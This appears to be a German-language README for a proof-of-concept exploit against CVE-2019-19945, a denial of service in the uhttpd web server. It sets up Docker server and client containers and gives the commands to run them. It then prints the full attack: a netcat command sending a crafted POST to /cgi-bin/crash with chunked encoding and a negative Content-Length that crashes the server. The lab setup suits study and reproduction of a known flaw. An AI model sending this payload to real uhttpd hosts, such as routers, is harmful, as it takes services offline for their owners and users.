
Proof-of-Concept-Exploit für CVE-2019-19945, der einen Denial-of-Service-Angriff gegen uhttpd mittels einer präparierten POST-Anfrage mit einem negativen Content-Length-Header demonstriert.
Dies ist der Code für den ersten vorgeschlagenen CVE
Docker installieren
Server bauen & ausführen cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
Server Container IP ermitteln Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" IP extrahieren und zum Befehl für den Bau des Clients hinzufügen Sie können den Server überprüfen, indem Sie in Ihrem Browser zu localhost:80 gehen
Client bauen & ausführen Durch Auskommentieren des CMD im Client/Dockerfile startet der Angriff automatisch mit dem Start des Containers cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
An CLient Docker anhängen docker container ls find client/cve container && attach docker exec -it /bin/sh
Wenn bereit, Angriff starten ./crash.sh
Server wird nicht antworten können
Es ist wirklich sinnlos, kommentierten Quellcode bereitzustellen, da der Exploit sehr kurz ist
Der Exploit besteht dann darin, Netcat zu verwenden und eine POST-Anfrage mit einer negativen großen Content-Length an den Server zu senden, bezüglich der Behandlung von Dateien im cgi-bin/ Verzeichnis
Die Ausführung erfolgt mit einem einfachen Netcat-Skript. Hier wird eine Datei im CGI-bin-Ordner des Servers namens Crash referenziert nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
Das größte Problem war der Versuch, die alten Versionen von uhttpd in einer aktuellen Docker-Umgebung zum Laufen zu bringen.